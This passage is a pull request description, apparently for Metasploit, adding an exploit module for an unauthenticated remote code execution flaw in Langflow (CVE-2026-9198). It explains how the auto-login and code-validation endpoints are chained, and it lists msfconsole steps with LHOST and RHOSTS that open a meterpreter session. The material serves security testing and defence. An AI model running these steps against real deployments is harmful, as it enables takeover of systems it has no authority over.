ENH: CISA KEV - Exploit module for CVE-2026-9198

[rmhowe425]

Description

This pull request adds a new exploit module that exploits an unauth RCE vulnerability in Langflow versions prior to 1.10.0 that allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments

Addition of CVE to CISA KEV

Related Issue:
Fixes #21752

Breaking Changes

None

Verification Steps

1. Install the application
2. Start msfconsole
3. Do: use exploit/multi/http/langflow_unauth_rce_cve_2026_9198
4. Do: run LHOST=<lhost> RHOSTS=<rhost>
5. Do: exploit
6. A meterpreter session is initiated

Test Evidence

Environment

Field	Details
Operating System	Ubuntu 22.04
Target Software/Hardware	Langflow version 1.8.4

AI Usage Disclosure

None

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules (new modules only)
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
• Tested on the target environment specified in the Environment section above
• Included RSpec tests for library changes (encouraged for lib/ changes)
• Read the CONTRIBUTING.md and